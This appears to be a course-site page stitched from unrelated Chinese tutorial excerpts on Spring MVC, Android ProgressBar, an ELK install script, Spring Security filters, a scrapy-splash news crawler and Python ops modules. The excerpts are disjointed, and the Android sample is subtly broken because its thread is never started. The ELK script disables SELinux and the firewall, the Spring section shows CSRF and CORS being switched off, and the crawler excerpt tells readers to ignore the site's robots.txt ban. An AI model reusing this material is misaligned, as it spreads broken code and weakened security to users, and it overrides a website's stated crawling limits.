一起編織在一起,然后響應給客戶端,代碼將變得丑陋不堪。新的解決方案是采用組件化開發思想:控制器處理數據,視圖組件提供模板樣式用來顯示最終數據。所以在構建響應包時,控制器需要 2 方面信息:數據:由控制器返回;視圖:由視圖解析器組件維護。Spring MVC 提供數據模型組件充當數據和視圖之間的橋梁??刂破飨劝烟幚砗蟮臄祿4娴綌祿P椭校徽业揭晥D,由視圖從數據模型中取得數據,并顯示在視圖中。重定向和轉發的區別在于尋找視圖的方式。

4. ProgressBar 編碼

Ok,我們有了布局設置以及 API 控制,就可以開始完成一個進度條的開發了,本節將在 Activity 中啟動一個子線程,在子線程中通過 sleep 300 毫秒來模擬一個耗時任務,并在執行任務的過程中不斷更新進度條。首先編寫布局,我們添加一個橫向非不確定進度條展示精確精度和一個圓形不確定進度條不展示確定進度,然后添加一個 TextView 用于展示具體的進度情況,代碼如下:<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <ProgressBar android:id="@+id/progressBar_horizontal" style="?android:attr/progressBarStyleHorizontal" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_margin="30dp" android:indeterminate="false" android:max="100" android:minWidth="200dp" android:minHeight="50dp" android:progress="1" /> <ProgressBar android:id="@+id/progressBar_circle" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_centerVertical="true" android:minWidth="50dp" android:minHeight="50dp" /> <TextView android:id="@+id/textView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@+id/progressBar_horizontal" android:layout_alignLeft="@+id/progressBar_horizontal" /></RelativeLayout>布局完成效果如下,上方有一個進度為 1 的橫向進度條,中間有一個循環轉圈的圓形進度條。目前任務還沒開啟,所以還沒有進度展示,TextView 內容為空。下面通過 Java 編寫后臺耗時任務,并同步更新進度條:package com.emercy.myapplication;import android.app.Activity;import android.os.Bundle;import android.os.Handler;import android.widget.ProgressBar;import android.widget.TextView;public class MainActivity extends Activity { private ProgressBar progressBar; private int progressStatus = 0; private TextView textView; private Handler handler = new Handler(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); progressBar = findViewById(R.id.progressBar_horizontal); textView = findViewById(R.id.textView); new Thread(new Runnable() { public void run() { while (progressStatus < 100) { progressStatus += 1; handler.post(new Runnable() { public void run() { progressBar.setProgress(progressStatus); textView.setText(progressStatus + "/" + progressBar.getMax()); } }); try { // sleep 300毫秒模擬耗時任務 Thread.sleep(300); } catch (InterruptedException e) { e.printStackTrace(); } } } }); }}在上面的代碼中,橫向 ProgressBar 會在每 300 毫秒更新一次進度(進度增加多少可以根據具體場景,比如下載量、保存量、解析量等等),更新進度通過setProgress()接口完成。另外本節運用了 Handler 去完成更新,因為耗時操作我們通常會放在子線程,但是 Android 系統要求不能在子線程中進行 UI 操作,所以我們通過 Handler 完成子線程到主線程的切換(具體的使用方法會在后面 Handler 章節詳細講解,這里重點關注 ProgressBar 的使用),直到進度條增加為 100,表示任務完成;而另一個進度條會循環 loading,此時會一直循環播放進度動畫,直到主動關閉,下面是一張代碼的效果圖:

3.3 實現

#!/bin/bash#mail:[email protected]#data:2020/4/10#AutoInstall ELK scripts#Software:elasticsearch-5.4.1/logstash-5.4.1/filebeat-5.4.1/kibana-5.4.1clearecho "##########################################"echo "# Auto Install ELK. ##"echo "# Press Ctrl + C to cancel ##"echo "# Any key to continue ##"echo "##########################################"# 讀入用戶選擇read -p # 定義環境及目錄變量software_dir="/usr/local/software"elasticsearch_url="https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.4.1.tar.gz"kibana_url="https://artifacts.elastic.co/downloads/kibana/kibana-5.4.1-linux-x86_64.tar.gz"logstash_url="https://artifacts.elastic.co/downloads/logstash/logstash-5.4.1.tar.gz"filebeat_url="https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-5.4.1-linux-x86_64.tar.gz"sys_version=`cat /etc/redhat-release |awk '{print $4}'|cut -d. -f1`IP=`ip addr|grep "inet "|grep -v 127.0.0.1|awk '{print $2}'|cut -d/ -f1`jvm_conf="/usr/local/elasticsearch/config/jvm.options"sys_mem=`free -m|grep Mem:|awk '{print $2}'|awk '{sum+=$1} END {print sum/1024}'|cut -d. -f1`#下載軟件函數,wget_fun() {if [ ! -d ${software_dir} ];then mkdir -p ${software_dir} && cd ${software_dir}else cd ${software_dir}fifor software in $elasticsearch_url $kibana_url $logstash_url $filebeat_urldo wget -c $softwaredoneclear}# 初始化系統,安裝java環境,設置主機名稱,禁用防火墻init_sys() {[ -f /etc/init.d/functions ] && . /etc/init.d/functions[ "${sys_version}" != "7" ] && echo "Error:This Scripts Support Centos7.xx" && exit 1[ $(id -u) != "0" ] && echo "Error: You must be root to run this script" && exit 1sed -i "s/SELINUX=enforcing/SELINUX=disabled/" /etc/selinux/configsetenforce 0yum install -y java-1.8.0-openjdk wget net-toolshostnamectl set-hostname elk-server systemctl stop firewalld# 修改文件/進程打開數cat >>/etc/security/limits.conf<<EOF* soft nofile 65536 * hard nofile 65536 * soft nproc 65536 * hard nproc 65536EOF}# 安裝elasticsearchinstall_elasticsearch() {cd $software_dirtar zxf elasticsearch-5.4.1.tar.gzmv elasticsearch-5.4.1 /usr/local/elasticsearchmkdir -p /usr/local/elasticsearch/data /usr/local/elasticsearch/logs# 增加用戶useradd elasticsearchchown -R elasticsearch:elasticsearch /usr/local/elasticsearchecho "vm.max_map_count = 655360" >>/etc/sysctl.conf && sysctl -p# 修改配置文件if [ ${sys_mem} -eq 0 ];then sed -i "s#`grep "^-Xmx" ${jvm_conf}`#"-Xmx512m"#g" ${jvm_conf} sed -i "s#`grep "^-Xms" ${jvm_conf}`#"-Xms512m"#g" ${jvm_conf}else sed -i "s#`grep "^-Xmx" ${jvm_conf}`#"-Xmx${sys_mem}g"#g" ${jvm_conf} sed -i "s#`grep "^-Xms" ${jvm_conf}`#"-Xms${sys_mem}g"#g" ${jvm_conf}ficat >>/usr/local/elasticsearch/config/elasticsearch.yml<<EOFcluster.name: my-applicationnode.name: elk-serverpath.data: /usr/local/elasticsearch/datapath.logs: /usr/local/elasticsearch/logsnetwork.host: 127.0.0.1http.port: 9200discovery.zen.ping.unicast.hosts: ["elk-server"]EOF# 啟動es服務su - elasticsearch -c "nohup /usr/local/elasticsearch/bin/elasticsearch &"}#安裝 logstashinstall_logstash() {cd $software_dirtar -zxf logstash-5.4.1.tar.gzmv logstash-5.4.1 /usr/local/logstash# 增加配置文件cat>/usr/local/logstash/config/01-syslog.conf<<EOFinput { beats { port => "5044" } }output { elasticsearch { hosts => "127.0.0.1:9200" } stdout { codec => rubydebug }}EOFnohup /usr/local/logstash/bin/logstash -f /usr/local/logstash/config/01-syslog.conf & >/dev/null}#安裝 filebeatinstall_filebeat() {cd $software_dirtar -zxf filebeat-5.4.1-linux-x86_64.tar.gzmv filebeat-5.4.1-linux-x86_64 /usr/local/filebeatcat >/usr/local/filebeat/filebeat.yml<<EOFfilebeat.prospectors:- input_type: log paths: - /var/log/*.logoutput.logstash: hosts: ["127.0.0.1:5044"]EOFcd /usr/local/filebeat/nohup /usr/local/filebeat/filebeat & >/dev/null}#安裝 kibanainstall_kibana() {cd $software_dirtar -zxf kibana-5.4.1-linux-x86_64.tar.gzmv kibana-5.4.1-linux-x86_64 /usr/local/kibana# 增加配置文件cat >> /usr/local/kibana/config/kibana.yml <<EOFserver.port: 5601server.host: "0.0.0.0"elasticsearch.url: "http://127.0.0.1:9200"EOFnohup /usr/local/kibana/bin/kibana & >/dev/null}# 檢測服務check() {port=$1program=$2check_port=`netstat -lntup|grep ${port}|wc -l`check_program=`ps -ef|grep ${program}|grep -v grep|wc -l`if [ $check_port -gt 0 ] && [ $check_program -gt 0 ];then action "${program} run is ok!" /bin/trueelse action "${program} run is error!" /bin/falsefi}# 主函數統一調用main() {init_syswget_funinstall_elasticsearchinstall_filebeatinstall_logstashinstall_kibanaecho -e "\033[32m Checking Elasticsearch...\033[0m"sleep 20check :9200 "elasticsearch"echo -e "\033[32m Checking Logstash...\033[0m"sleep 2check ":9600" "logstash"echo -e "\033[32m Checking Kibana...\033[0m"sleep 2check ":5601" "kibana"action "ELK install is success!" /bin/trueecho "url:http://$IP:5601"}# 執行主函數main

2.3 常用內置過濾器的具體說明

內置過濾器的參數設置通過 HttpSecurity 相應的配置方法完成。2.3.1 ChannelProcessingFilterChannelProcessingFilter 的用于檢測請求的通道,例如 Http 或 Https 等,可以實現訪問請求在不同通道間的跳轉。ChannelProcessingFilter 的配置通過 HttpSecurity.requiresChannel() 方法獲取。例如:強制使用 Https 通道訪問。http.requiresChannel().antMatchers("/users").requiresSecure();2.3.2 ConcurrentSessionFilter此過濾器在默認情況下出現兩次,其工作內容大致分兩步:判斷 Session 是否存在,如果存在則獲取,否則結束;判斷 Session 是否過期,如果過期則執行退出操作,否則更新 Session 時間。ConcurrentSessionFilter 的配置通過 HttpSecurity.sessionManagement() 方法獲取。例如:設置 Session 無效時的跳轉 URL。http.sessionManagement().invalidSessionUrl("/login");2.3.3 WebAsyncManagerIntegrationFilterWebAsyncManagerIntegrationFilter 用于關聯 SecurityContext 上下文。此過濾器無配置公布的方法。2.3.4 SecurityContextPersistenceFilterSecurityContextPersistenceFilter 用于從 Session 構建 SecurityContext。具體分為兩步:請求開始時,將 SecurityContextRepository 中的 SecurityContext 對象存入 SecurityContextHolder;請求完成時,清理 SecurityContextHolder 中的 SecurityContext 對象,并產生新的 SecurityContext 對象放入到 SecurityContextRepository 中,以保證并發環境下的數據一致性。SecurityContextPersistenceFilter 的配置通過 HttpSecurity.securityContext() 方法獲取。2.3.5 HeaderWriterFilterHeaderWriterFilter 用于往請求頭或響應頭里寫入信息。HeaderWriterFilter 的配置通過 HttpSecurity.headers() 方法獲取。默認支持的 Header 包括:Header [name: X-Content-Type-Options, values: [nosniff]]Header [name: X-XSS-Protection, values: [1; mode=block]]Header [name: Cache-Control, values: [no-cache, no-store, max-age=0, must-revalidate]]Header [name: Pragma, values: [no-cache]]Header [name: Expires, values: [0]]2.3.6 CorsFilterCorsFilter 用于配置跨域請求策略。當一個請求中,來源與目標的協議、主機名、端口三者任一不同,即為跨域,在實際開發中如果遇到類似 header is present on the requested resource. 的錯誤時,往往是因為跨域配置不正確導致。CorsFilter 的配置通過 HttpSecurity.cors() 方法獲取。例如,禁用跨域驗證:http.cors().disable();2.3.7 CsrfFilterCsrfFilter 用于驗證消息來源,防范跨站請求偽造,此項功能需要前端的配合。CsrfFilter 的配置通過 HttpSecurity.csrf() 方法獲取。例如,禁用 Csrf:http.csrf().disable();2.3.8 LogoutFilterLogoutFilter 用于注銷登錄狀態。LogoutFilter 的配置通過 HttpSecurity.logout() 方法獲取。例如,設置退出后的跳轉頁面。http.logout().logoutSuccessUrl("/login");2.3.9 UsernamePasswordAuthenticationFilterUsernamePasswordAuthenticationFilter 用于處理用戶名、密碼認證。UsernamePasswordAuthenticationFilter 的配置通過 HttpSecurity.formLogin() 方法獲取。例如,設置用戶名參數為「mobile」:http.formLogin().usernameParameter("mobile")UsernamePasswordAuthenticationFilter Spring Security 認證中較為常用的過濾器,我們會在后續章節重點展開。2.3.10 ExceptionTranslationFilterExceptionTranslationFilter 用于異常事件處理。異常事件有前述過濾器拋出,異常共分為 2 類,一類是認證異常,另一類是權限異常。ExceptionTranslationFilter 的配置通過 HttpSecurity.exceptionHandling() 方法獲取。ExceptionTranslationFilter 同樣較為常用,將在后續章節中重點展開。

3. 再戰今日頭條熱點新聞爬取

上一部分我們費了九牛二虎之力爬取的頭條熱點新聞,今天要使用 scrapy-splash 插件和 splash 服務輕輕松松完成。我們省去前面創建 scrapy 爬蟲的過程,直接看重點:首先是定義 items:import scrapyclass ToutiaoSpiderItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() title = scrapy.Field() source = scrapy.Field() comments = scrapy.Field() passed_time = scrapy.Field()然后是爬蟲的核心代碼:from scrapy import Spiderfrom scrapy_splash.request import SplashRequestfrom toutiao_spider.items import ToutiaoSpiderItemscript = """function main(splash, args) assert(splash:go(args.url)) splash:wait(2) return { html = splash:html(), png = splash:png(), har = splash:har(), }end"""class TouTiaoSpider(Spider): name = "toutiao_spider" def start_requests(self): splah_args = { "lua_source": script, # 這個非常重要 'wait': 5, } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36' } yield SplashRequest(url="https://www.toutiao.com/ch/news_hot/", args=splah_args, headers=headers) def parse(self, response): news_list = response.css('div.wcommonFeed ul li') print("共{}條數據".format(len(news_list))) for news in news_list: title = news.css('div.title-box a::text').extract_first() source = news.css('div.footer a:nth-child(2)::text').extract_first() comments = news.css('div.footer a:nth-child(3)::text').extract_first() passed_time = news.css('div.footer span::text').extract_first() if not title: continue items = ToutiaoSpiderItem() items['title'] = title.strip() # 使用split()再join()的方式是為了清除前后的\xa0 items['source'] = "".join(source.split()) items['comments'] = "".join(comments.split()) items['passed_time'] = "".join(passed_time.split()) print(f'抓取數據到:{items}') # yield items這里的代碼相比 Scrapy 代碼變化的只有一個地方,就是對應生成的 Request 請求,我們需要替換成 scrapy-splash 插件中的 SplashRequest 類。在該類中最重要的就是 args 參數,這里我們會帶上相應的 lua 執行腳本,也就是前面 Splash 服務的網頁上看到的那個腳本。此外,這里我換成了 CSS 選擇器去解析網頁數據,其實和 xpath 方式并沒有什么不同;最后來看 settings.py 中的配置,和官方推薦的方式保持一致即可,不過我做了一些改動:指定 SPLASH_URL,即 Splash 服務地址,這里對應的值為 http://47.115.61.209:8050/;添加 scrapy-splash 的中間件:SPIDER_MIDDLEWARES = { 'scrapy_splash.SplashDeduplicateArgsMiddleware': 100,}添加 scrapy-splash 的下載中間件:DOWNLOADER_MIDDLEWARES = { 'scrapy_splash.SplashCookiesMiddleware': 723, 'scrapy_splash.SplashMiddleware': 725, 'scrapy.downloadermiddlewares.httpcompression.HttpCompressionMiddleware': 810, }另外,scrapy-splash 也提供了一個重復過濾器類:DUPEFILTER_CLASS = 'scrapy_splash.SplashAwareDupeFilter'不過這樣爬取時我們遇到了如下的報錯:2020-08-02 22:07:26 [scrapy.core.engine] DEBUG: Crawled (200) <GET https://www.toutiao.com/robots.txt> (referer: None)2020-08-02 22:07:26 [scrapy.downloadermiddlewares.robotstxt] DEBUG: Forbidden by robots.txt: <GET https://www.toutiao.com/ch/news_hot/>2020-08-02 22:07:26 [scrapy.core.engine] INFO: Closing spider (finished)頭條網站使用 robots 協議禁止我們爬取它的網站,當然我們只需要無視這樣的協議,繼續執行爬取動作即可。在 settings.py 中將遵守 robots 協議的開關禁止即可:# Obey robots.txt rulesROBOTSTXT_OBEY = False來看看最后的執行效果:PS D:\shencong\scrapy-lessons\code\chap16\toutiao_spider> scrapy crawl toutiao_spider101給大家留一個課后作業:今日頭條的新聞是需要鼠標向下滑動,然后才會加載更多熱點新聞,那么我們如何利用這個 Splash 服務來能實現抓取更多的頭條熱點數據呢?

4. 常用的自動化運維模塊

Python 的第三方模塊提供了自動化運維所需的功能,如:監控系統資源、網絡配置等,常用的模塊如下:psutilpsutil 是一個跨平臺庫能夠實現獲取系統運行的進程和系統利用率(內存,CPU,磁盤,網絡等),主要用于系統監控,分析和系統資源及進程的管理。dnspythondnspython 是一個 DNS 工具包,可以用于查詢、傳輸并動態更新 DNS 區域信息,在系統管理方面,可以利用查詢功能來實現 DNS 服務監控以及解析結果的校驗。smtplibsmtplib 是一個發送電子郵件的工具包,它對 smtp 協議進行了簡單的封裝。當監控系統發現問題時,通過調用 smtplib 發送報警郵件。IPyIPy 提供了對地址進行處理的功能,主要提供了包括網段、網絡掩碼、廣播地址、子網數、IP類型的處理等功能。pycurlcURL 是一個利用 URL 語法在命令行下工作的文件傳輸工具,cURL支持的通信協議有FTP、FTPS、HTTP、HTTPS、TFTP、SFTP、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP。pycurl 是一個用 C 語言寫的 libcurl Python實現,可以理解為 linux 下 curl 命令功能的 Python 封裝。scapyscapy 是一個由 Python 編寫的數據包處理程序,它能夠對數據包進行偽造或解包,提供發送數據包、包嗅探、應答和反饋等功能,目前很多優秀的網絡掃描攻擊工具都使用了這個模塊。ansibleansible 是一個綜合的自動化運維工具,基于 Python 開發,集合了眾多運維工具的優點,實現了批量系統配置、批量程序部署、批量運行命令等功能。ansible 提供了二次開發的接口,可以編寫 python 腳本請求 ansible 的 接口,開發自己的運維工具。saltstacksaltstack 是一種基于 C/S 架構的集中化管理平臺,管理端稱為 Master,客戶端稱為 Minion。saltstack 具備配置管理、遠程執行、監控等功能,saltstack 本身是基于 Python 語言開發實現,結合了輕量級的消息隊列軟件 ZeroMQ 與 Python 第三方模塊構建。通過部署 SaltStack 環境,運維人員可以在成千上萬臺服務器上做到批量執行命令,根據不同的業務特性進行配置集中化管理、分發文件、采集系統數據及軟件包的安裝與管理等。saltstack 提供了二次開發的接口,可以編寫 python 腳本請求 saltstack 的 接口,開發自己的運維工具。

直播
查看課程詳情
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號